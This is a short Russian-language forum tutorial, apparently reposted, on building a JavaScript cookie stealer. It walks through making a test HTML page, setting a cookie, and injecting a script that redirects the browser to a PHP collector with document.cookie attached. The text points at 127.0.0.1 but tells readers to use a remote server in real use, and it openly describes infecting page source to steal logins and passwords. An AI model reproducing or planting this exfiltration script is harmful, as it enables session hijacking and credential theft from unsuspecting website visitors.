Делаем Cookie-стиллер

JavaScript – один из самых распространенных языков, используемых в веб-программировании. Он скрывает в себе множество полезных возможностей для работы с сайтами, хотя некоторые их них не столь однозначны (например, сборщик куки, который мы будем использовать в этой статье).

Куки (cookies) – данные, запрашиваемые веб-сайтом в целях “запоминания” пользователя. Содержат в себе: время посещения сайта, устройство подключения, логины, пароли и прочую деликатную информацию – чтобы их заполучить, мы попробуем заразить исходный html-код страницы вредоносным javascript.

Спойлер: #Создание тестовой HTML страницы

Для начала, создадим новую директорию, где будет ютиться наш html-файл:

Код:

mkdir cookiestealer 

И переместимся в неё командой

Код:

cd cookiestealer 

Оказавшись в директории, создадим файл "index.html" командой

Код:

touch index.html 

Далее займемся его наполнением

Код:

nano index.html 

Добавьте стандартные html-теги в документ:

Код:

<html>
      <body>
      </body>
</html> 

Получится что-то вроде этого

Теперь сохраняйте документ сочетанием клавиш Ctrl+O. Если мы откроем этот файл в нашем браузере, увидим пустую страницу (это логично).

Спойлер: #Создание cookies

Мы можем самостоятельно создать cookies добавив одну лишь строчку в нашу тестовую html-страницу:

Код:

<script type="text/javascript">
    document.cookie = "username=Null Byte";
</script> 

В редакторе впишите эту строку между тегами “body” как указано на скриншоте:
Если Вы откроете веб-страницу еще раз после сохранения, внешне ничего не изменится, но “под капотом” уже появились наши cookies. Чтобы их посмотреть добавим в наш javascript команду вывода:

Код:

document.write(document.cookie); 

Наш скрипт теперь выглядит вот так:
Еще раз сохраните и откройте через браузер – теперь Вы видите наши самодельные cookies.
Не забудьте потом стереть команду “document.write(document.cookie);” из файла – мы же не хотим показывать cookie в дальнейшем.

Спойлер: #Воруем cookies при помощи JavaScript

Используя JavaScript, перенаправим вывод куки на сервер для дальнейшего использования командой:

Код:

document.location='http://127.0.0.1 /cookiestealer.php?
c='+document.cookie; 

В примере я использую локальный адрес 127.0.0.1 – в настоящей работе Вы должны использовать адрес файла, расположенного на удаленном сервере.
Теперь Ваш html-файл должен выглядеть примерно вот так:
Этого вполне достаточно, чтобы перенаправить cookies в необходимое нам место.

#КОПИПАСТ